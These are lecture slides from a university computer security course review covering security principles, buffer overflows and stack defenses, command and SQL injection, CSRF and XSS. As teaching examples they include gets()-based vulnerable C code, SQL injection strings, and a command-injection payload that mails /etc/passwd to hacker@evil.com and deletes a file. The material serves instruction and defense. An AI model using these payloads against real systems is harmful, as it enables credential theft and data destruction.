CMPS 122: COMPUTER SECURITY

COURSE REVIEW
OVERVIEW

WHAT IS THIS CLASS ABOUT?

- How to think adversarially about computer systems
- How to assess threats for their significance
- How to build programs & systems with robust security properties
- How to gauge the protections provided by, and security limitations of today's computer systems
- How attacks work in theory and in practice
PRINCIPLES OF COMPUTER SECURITY

COMPUTER SECURITY PRINCIPLES

- Security is Economics
- Least Privilege
- Fail-Safe Defaults
- Separation of Duty
- Defense in Depth
- Psychological Acceptability
- Human Factors Matter
- Complete Mediation

- Know Your Threat Model
- Detect if Unable to Prevent
- Don’t Rely on Security Through Obscurity
- Design Security in From Day One
- Design Conservatively
- Proactively Study Attacks
PRINCIPLES OF COMPUTER SECURITY

PRINCIPLE: LEAST PRIVILEGE

- Give software the set of access privileges it legitimately needs to do its job - but nothing more
- Try to minimize the privilege you give each program and system component
- LP doesn’t reduce the probability of failure, but it can reduce the cost of failures
- The less privilege a program has, the less harm it can do if it goes wrong or becomes subverted
The Trusted Computing Base (TCB) is the set of mechanisms required to function correctly for the system to behave as expected.

What assurances are there of correctness, completeness, and security?

- Simple, small design: easy to understand, test, audit, and/or verify.
- Design approach: privilege separation
  - Split TCB into components, only give privileges to necessary components.
PRINCIPLES OF COMPUTER SECURITY

LEAST PRIVILEGE IN PRACTICE: WEB BROWSERS

Goal: prevent “drive-by malware”, where a malicious web page exploits a browser bug to access local files

Proposition: 70% of browser vulnerabilities are in the rendering engine

IPC: Inter Process Communication

“Sandbox/Jail”

TCB
To secure access to some capability/resource, construct a reference monitor.

Single point of entry to the system, enforces policies

- e.g. a network firewall

Desired properties of a reference monitor:

- Un-bypassable ("complete mediation")
- Tamper-proof (is it self secure)
- Verifiable (correct)

Do these properties sound familiar?
void withdraw(int cash) {
    int bal = getBalance();
    if (bal >= cash) {
        setBalance(bal - cash);
        dispense(cash);
    }
}

Suppose an attacker manages to suspend execution here, and calls withdraw again from another process.

TOCTTOU = Time of Check To Time of Use
PRINCIPLES OF COMPUTER SECURITY

PRINCIPLE: SEPARATION OF DUTY

- **Split up privilege** so no one user or program has complete power
- **Require more than one party** to approve before access is granted
  - Avoiding Accidental Armageddon:
    - In a nuclear missile silo, two launch officers must agree before the missile can be launched, both switches cannot be reached by one officer
  - Fraud Prevention:
    - In a movie theater, you pay the teller and get a ticket; then when you enter the movie theater, a separate employee tears your ticket and retains half
    - In many organizations, purchases over a certain $ amount must be approved both by the requesting employee and by a separate purchasing office
PRINCIPLES OF COMPUTER SECURITY

REASONABLE ASSUMPTIONS

- **Attackers can interact** with your systems without particular notice
  - Probing (poking at systems from inside, port scanning etc.) may go unnoticed
  - ...even if highly repetitive, lead to crashes, and are easy to detect

- **Attackers know** general information about your systems
  - OS, software versions, usernames, server ports, IP address, activity patterns, admin procedures, etc

- **Attackers can obtain access to an exact copy** of your system and configuration to measure and determine how it works.
PRINCIPLES OF COMPUTER SECURITY

REASONABLE ASSUMPTIONS

- Attackers will make enthusiastic use of **automation**
- Attackers can initiate sophisticated **coordinated activity** across geographically and architecturally disparate systems
- Attackers can bring **large resources** to bear if required
  - Computational, network capacity.
  - Botnets are like EC2 for attackers
- If it helps the attacker in some way, assume they can obtain elevated privileges
  - But if the privilege gives everything away (attack becomes trivial) then the best we can do is worry about unprivileged attacks
OVERVIEW

DEFINING SECURITY: POLICIES

- A system’s security policies describe
  - What the system is **supposed to do**
    - *Store and provide access to a user’s personal files.*
  - What the system is **not supposed to do**
    - *Do not allow other users to access or modify a user’s files, unless explicitly permitted to.*
An **attack** tries to violate security policies by exploiting **vulnerabilities**

A **vulnerability** is an unintended aspect of a system’s **design**, **implementation**, or **configuration**

- storing client permissions on the client
- unchecked array bounds
- world-writable configuration files
- initializing pseudorandom generator with a constant seed
EXPRESSING POLICIES

- Policies often describe behavior of system **principals**: the people, computers, or other entities involved in a system
- A principal may act on its own or on behalf of another principal:
  - A program acting on a user’s behalf
  - A computer acting on behalf of the program it runs
A perspective on **trust**: an **assumption** that something behaves as it was intended to behave.

- Being **trusted** is not the same as being **trustworthy**
  - By trustworthy, we mean something that actually behaves as intended.
  - Trust can be misplaced
POLICIES AND ENFORCEMENT

WHAT SHOULD PRINCIPALS DO? OR NOT DO?

- Policies can be described in terms of three properties:
  - **Confidentiality**
    - Which principals may learn what information
  - **Integrity**
    - What the system ensures, and what changes are permitted
  - **Availability**
    - When must inputs be readable or outputs produced
POLICIES AND ENFORCEMENT

ENFORCEMENT MECHANISMS

- An attack causes instructions to be executed that result in a violation of some security property

- An enforcement mechanism either *prevents that execution* or *recovers from its effects*
  - Isolation
  - Monitoring
  - Recovery
POLICIES AND ENFORCEMENT

ISOLATION EXAMPLES

- Virtual machines, sandboxes, processes
POLICIES AND ENFORCEMENT

CHALLENGES OF ISOLATION

- For **assurance** of security, want to restrict communication as much as possible
- For **functionality**, need to support many kinds of communication
POLICIES AND ENFORCEMENT

MONITORING

- Monitor the interfaces of a system and halt before violations occur
  - *Security policy*: acceptable sequences of operations
  - *Reference monitor*: checks operations as they are requested
  - *Kill switch*: some way of stopping the system before damage occurs
- Examples?
POLICIES AND ENFORCEMENT

RECOVERY

- Most effective at reversing corruption or malicious modifications made by an attacker.

- Some attacks cannot be reversed (unless you are a Time Lord):
  - Secrets cannot be un-leaked
  - Missiles cannot be un-fired
SOFTWARE SECURITY

CMPS 122: COMPUTER SECURITY
SOFTWARE SECURITY
SOFTWARE SECURITY

REASONING ABOUT SOFTWARE SAFETY

- How can we have confidence that our code executes safely?
  - Ideally we also want it to execute correctly, but safety is more important.
- Approach: build up confidence on a function-by-function / module-by-module / system-by-system basis.
- **Modularity** provides boundaries for our reasoning:
  - **Preconditions**: must hold for function to operate correctly
  - **Postconditions**: should hold after function completes
  - **Invariants**: conditions that always hold at a given point in a function (this particularly matters for loops)
char *tbl[N]; // N > 0, type int

int hash(char *s) {
    int h = 17;
    while (*s)
        h = 257*h + (*s++) + 3;
    return h % N;
}

bool search(char *s) {
    int i = hash(s);
    return tbl[i] && (strcmp(tbl[i], s)==0);
}
char *tbl[N]; // N > 0, type int

// ensures: ???
int hash(char *s) {
    int h = 17;
    while (*s)
        h = 257*h + (*s++) + 3;
    return h % N;
}

What is the correct postcondition for hash()?

a) 0 <= return value
b) return value < N
c) a) and b)
d) none of the above

Discuss with a partner...
char *tbl[N]; // N > 0, type int

// ensures: 0 <= return value
// ensures: return value < N
int hash(char *s) {
    int h = 17;
    while (*s)
    {
        h = 257*h + (*s++) + 3;
    }
    return h % N;
}

bool search(char *s) {
    int i = hash(s);
    return tbl[i] && (strcmp(tbl[i], s)==0);
}
char *tbl[N]; // N > 0, type int

// ensures: 0 <= return value
// ensures: return value < N
int hash(char *s) {
    int h = 17; // 0 <= h
    while (*s) // 0 <= h
        h = 257*h + (*s++) + 3; // 0 <= h
    return h % N; // 0 <= return value < N
}

bool search(char *s) {
    int i = hash(s);
    return tbl[i] && (strcmp(tbl[i], s)==0);
}
char *tbl[N]; // N > 0, type int

// ensures: 0 <= return value
// ensures: return value < N
int hash(char *s) {
    int h = 17; // 0 <= h
    while (*s) // 0 <= h
        h = 257*h + (*s++) + 3; // 0 <= h
    return h % N; // 0 <= return value < N
}

What is the correct postcondition for hash()?

a) 0 <= return value
b) return value < N
c) a) and b)
d) none of the above

Is there a fix?
char *tbl[N]; // N > 0, type int

// ensures: 0 <= return value
// ensures: return value < N
unsigned int hash(char *s) {
    unsigned int h = 17;
    while (*s)
        h = 257*h + (*s++) + 3;
    return h % N;
}

bool search(char *s) {
    unsigned int i = hash(s);
    return tbl[i] && (strcmp(tbl[i], s)==0);
}
SMASHING THE STACK: OFFENSE AND DEFENSE
ATTACK: BUFFER OVERFLOW

C library function `gets()` is the problem; if user enters more than 127 characters, `buf` will overflow.

- `void dodgy() {`  
  `char buf[128];`  
  `gets(buf);`  
  `}`

- `int main() {`  
  `int x, y, z;`  
  `dodgy();`  
  `x = rand();`  
  `y = x / rand();`  
  `z = y / 2.47;`  
  `exit(1);`  
  `}`

- `void dodgy() {`  
  `char buf[128];`  
  `gets(buf);`  
  `}`

- `int main() {`  
  `int x, y, z;`  
  `dodgy();`  
  `x = rand();`  
  `y = x / rand();`  
  `z = y / 2.47;`  
  `exit(1);`  
  `}`

- `void dodgy() {`  
  `char buf[128];`  
  `gets(buf);`  
  `}`

- `int main() {`  
  `int x, y, z;`  
  `dodgy();`  
  `x = rand();`  
  `y = x / rand();`  
  `z = y / 2.47;`  
  `exit(1);`  
  `}`
### Defense: Stack Canaries

**Live Canary**
```
x = 0
y = 0
z = 0
return address
```
```
gets(buf);
__check_canary();
dodgy();
x = rand();
y = x / rand();
z = y / 2.47;
exit(1);
```

**Suspicious Address**
```
x = 0
y = 0
z = ?
suspicious address
```
```
gets(buf);
__check_canary();
dodgy();
x = rand();
y = x / rand();
z = y / 2.47;
exit(1);
```

**Dead Canary**

Place a sacrificial random number (canary) on the stack just below the function return address.

Inject code to check canary health after last instruction in the function.

If canary is dead (random number has changed), the stack is corrupt and corrective action can be taken.
void dodgier(char *date) {
    int len;
    char buf[64];  // buffer into which we’ll read user input
    char msg[96];  // buffer where we’ll construct a log message

    len = strlen(date);  // find out how many characters are in the date
    strcpy(msg, date);  // copy date into the first ‘len’ chars of the log message
    gets(buf);          // get user to type in some text
    strcpy(msg+len, buf);  // append it to the log message after the date
    write_log(msg);     // call another function to write log message to disk
}

int main() {
    int x, y, z;
    dodgier("01/01/1970");  // January 1, 1970 is the UNIX Epoch, i.e. UNIX’s D.O.B.
    x = rand();
    y = x / rand();
    z = y / 2.47;
    exit(1);
}
SMASHING THE STACK

ATTACK: AVOIDING STACK CANARIES

gets() reads attack string and overflows buf, but not by so much it overwrites (kills) the canary. Instead, it sneakily overwrites the value of len and installs new code into buf.

strcpy() now uses a subverted start address (msg+X+Y) and the real return address is replaced with a fake.

⇒ Infinite loop! ☹

X = size of msg + size of buf + size of len
Y = size of canary
SMASHING THE STACK

DEFENSE: DATA EXECUTION PREVENTION

- **Problem**: Code injected as data can be executed
- **Solution**: Tag memory as either code or data

**Data Execution Prevention** (DEP)

- Data memory cannot be executed
- Implementations:
  - Hardware: Separate physical memory locations for data and code
  - Software: Separate logical locations for data and code (e.g., page permissions)
- All modern OSes and CPU architectures have some form of DEP
SMASHING THE STACK

ATTACK: BINARY CODE REUSE

▸ But why bother injecting new code when there are millions of lines of it lying
around in existing binaries?

▸ Sneaky Idea: **Subvert existing code to defeat DEP!**

▸ Lots of abuse of common libraries like libc – almost always there

▸ Use `system` function in libc to execute arbitrary commands

▸ Load stack with command and libc addresses
Example: Return Oriented Programming (ROP)

When good instructions go bad: generalizing return-oriented programming to RISC

Erik Buchanan, Ryan Roemer, Hovav Shacham, and Stefan Savage
Department of Computer Science & Engineering, University of California San Diego

https://dl.acm.org/citation.cfm?id=1455776
WEB SECURITY REVIEW

- HTTP
- HTML / CSS / Javascript
- Web security goals / policies
- SQL Injection Attacks and Defenses
- Same Origin Policy
- Cookies
- Cross Site Request Forgery (CSRF)
- Cross Site Scripting (XSS)
Suppose the regex eventually finds it’s way to this function:

```c
void find(char *regex){
    char cmd[512];
    snprintf(cmd, sizeof cmd,
            "grep %s phonebook.txt", regex);
    system(cmd);
}
```

And the query was:

```
http://phonebook.com/search?regex=foo%20x;%20mail%20-s%20hacker@evil.com%20</
/etc/passwd;%20rm phonebook.txt
```

It’s as if the user running the web server typed this:

```
$ grep foo x; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt
```
WEB SECURITY I

COMMAND INJECTION DEFENSES

- Poor: **Input sanitization**
  - Look for “bad things” in the input and neutralize them
  - Tricky to get right and brittle!
  - Goes against “failsafe defaults” principle:
    - Input is considered okay unless a bad thing is found

- Better: **Constrain the API**
  - Keep it simple + defensive programming

  ```
  http://phonebook.com/search?first=Alice&last=Smith
  void find(char *first, char *last);
  ```
WEB SECURITY I

SERVER SIDE THREATS: SQL INJECTION ATTACKS

- account.php?user=alice' %20OR%201=1

  WHERE Balance > 1000000 AND Username='alice' OR 1=1

- Operator precedence in SQL turns this into:

  WHERE Balance > 1000000 AND (Username='alice' OR 1=1')

- Since 1=1 is always true, this is effectively:

  SELECT AcctNum FROM Customer WHERE Balance > 1000000 ' 

- account.php?user=alice' %20OR%201=1%20--

  WHERE Balance > 1000000 AND Username='alice' OR 1=1 --'

  SELECT AcctNum FROM Customer WHERE Balance > 1000000

  Syntax error!

  SQL comment
WEB SECURITY I

SQL INJECTION DEFENSES

- Poor: Input sanitization
  - Check or transform so that value/string does not have commands of any sort
  - Disallow special characters or escape input string
  - Risky: goes against security principle...

- Better: Constrain how user input is interpreted
  - Most statements have the same form, but need specific values filled in
  - The user’s input should be interpreted as a value, not as SQL code
WEB SECURITY I

SQL ESCAPING

- Generally, parser interprets ‘ as start of a string.
  - Within a string, \ is converted to ‘ and \\ is converted to \\n
- So for:
  ```
  SELECT PersonID FROM People
  WHERE Username='alice\'; SELECT * FROM People;```

- Username will be matched against the (unlikely) name
  ```
  alice'; SELECT * FROM People;'```

- Unfortunately, SQL parsers from different vendors have different escape sequences and different APIs for escaping

- Hard to get right, and might need vendor-specific defenses
Better Abstractions for SQL Queries

- Language / API support for building query structure independent of user input

```java
ResultSet getProfile(Connection conn, String uname){
    String query =
        "SELECT AcctNum FROM Customer
         WHERE Balance < 100 AND Username = ?";
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, username);
    return p.executeQuery();
}
```
PreparedStatement only allows ‘?’ at leaf nodes so tree structure is fixed before execution and user input is confined.
This can’t happen because parser is expecting a string, not a boolean subexpression.
Instead, the attempted injection gets parsed as a (weird) string.
No explicit escaping necessary, every character is part of string.
WEB SECURITY I

SQL INJECTION TAKEAWAY

- **Target**: webservers that use a backend database

- **Attacker goals**: Inject/modify database commands to:
  - Read or modify private data
  - Delete confidential data
  - Alter web-site information (or even code!)

- **Attack vector**: sending requests to web server

- **Key vulnerability**: Web server allows attacker input to be interpreted as SQL commands rather than data
“CSRF” IS FOR CROSS SITE REQUEST FORGERY
CSRF ATTACK SCENARIO

1. Connect / Login
2. Cookie Returned
3. Alice visits Dodgy Website
4. Page containing automatically included malicious link to mybank.com returned to an unsuspecting Alice
5. Forged Request sent (with legitimate and without Alice realising)
6. Bank acts on what appears to be Alice’s request to transfer all her savings to some other account / off-shore tax haven

Alice (User / Victim)

mybank.com

attacker.com
WEB SECURITY I

CSRF DEFENSE: REFERRER VALIDATION

- **Referer:** http://mybank.com/login.php  ✔
- **Referer:** http://anywhereelse.com/<whereever>  X
- **Referer:** (none)
  - Strict policy disallows (secure, but less usable)  Default deny
  - Lenient policy allows (less secure, but more usable)  Default allow

**Referer** might contain sensitive information, so might be removed by network, the local machine, HTTPS => HTTP, or user preferences
  - **Referer:** http://nextbigthing.com/internal/bankruptcy-announcement.html

- Blocking might help the attacker under lenient policy!
WEB SECURITY I

CSRF DEFENSE: TOKEN VALIDATION

- Server requests a secret token for every action
- User’s browser obtains this token if the user visited the site and browsed to that action
- If attacker causes browser to directly send action, **browser won’t have the token**!
  1. The goodsite.com server includes a secret token in the webpage (e.g., in forms as an additional hidden field)
  2. Legit requests to goodsite.com send back the secret
  3. The goodsite.com server checks that token in request matches the expected one; rejects request if not
- Validation token must be hard to guess by an attacker!
- Best defense? Referrer *and* Secret Token, (Defend in Depth)
“XSS” IS FOR CROSS SITE SCRIPTING
SAME ORIGIN POLICY: REMINDER

- Origin = protocol + hostname + port
  
  \[ \text{http://safebank.com:81/accounts} \]

  
  - Protocol
  - Hostname
  - Port

- One origin should not be able to access the resources of another

- Javascript on one page cannot read or modify pages from different origins

- The contents of an iframe have the origin of the URL from which the iframe is served; not the loading website
WEB SECURITY I

**XSS: SUBVERTING SOP**

- What if somebody from attacker.com fools your browser into executing their script with the script’s origin as some other site, like mybank.com?

- A common approach is to trick the server of interest (mybank.com) to actually send the attacker’s script to your browser!

- The browser can’t distinguish malicious scripts from the real scripts – they have the same origin!

- The attacker script has full access to anything in the mybank.com origin.

- Such attacks are termed Cross-Site Scripting (XSS)
WEB SECURITY I

XSS ATTACK TYPES

- Stored / persistent
  - The attacker leaves their script lying around on mybank.com server
  - Server later unwittingly send to your browser
  - Browser executes within same origin as pages from mybank.com
**WEB SECURITY I**

**STORED XSS ATTACK**

1. **Infects** Alice’s savings to the attacker’s account in the Cayman Islands
2. Alice requests her usual page
3. But receives malicious script embedded in legitimate content
4. Alice’s Browser executes malicious script thinking the mybank.com server wants it to do so
5. Forged request sent (with legitimate and without Alice realising)
6. Bank sends all Alice’s savings to the attacker’s account in the Cayman Islands
7. Malicious script steals all Alice’s confidential data and sends it to the attacker for future nefarious use
WEB SECURITY I

STORED XSS ATTACK: SUMMARY

- **Target:** User with Javascript-enabled browser who visits page with user-generated content on a vulnerable web service.

- **Attacker goal:** Run script in user’s browser with same access as legit scripts (in other words, subvert the Same Origin Policy)

- **Attack vector:** Content stored on web server page by users

- **Key vulnerability:** Server fails to ensure that uploaded content does not contain embedded scripts

- **Notes:**
  - Do not confuse with Cross Site Request Forgery (CSRF)
  - Requires Javascript typically. Browsers with JS disabled are not vulnerable.
WEB SECURITY I

XSS ATTACK TYPES

- Stored / persistent
  - The attacker leaves their script lying around on mybank.com server
  - Server later unwittingly send to your browser
  - Browser executes within same origin as pages from mybank.com

- Reflected
  - The attacker gets you to send mybank.com a URL with Javascript embedded
  - Server echos it back in response
  - Browser executes within same origin as pages from mybank.com
Reflected XSS Attack

1. Alice visits dodgy website
2. Receives malicious page
3. Alice clicks a link
4. Malicious script is echoed back
5. Alice’s Browser executes malicious script thinking the mybank.com server wants it to do so
6. Forged request sent (with legitimate and without Alice realising)
7. Bank sends all Alice’s savings to the attacker’s numbered Swiss Bank account
8. And/or script steals private data
REFLECTED XSS ATTACK: SUMMARY

- **Target:** User with Javascript-enabled browser who visits vulnerable web service that includes parts of URLs it receives in the output web page.

- **Attacker goal:** Run script in user’s browser with same access as legit scripts (in other words, subvert the Same Origin Policy)

- **Attack vector:** Getting a user to click on a specially crafted URL

- **Key vulnerability:** Server fails to ensure output it generates does not contain embedded scripts other than its own

- **Notes:**
  - Do not confuse with Cross Site Request Forgery (CSRF)
  - Requires Javascript typically. Browsers with JS disabled are not vulnerable.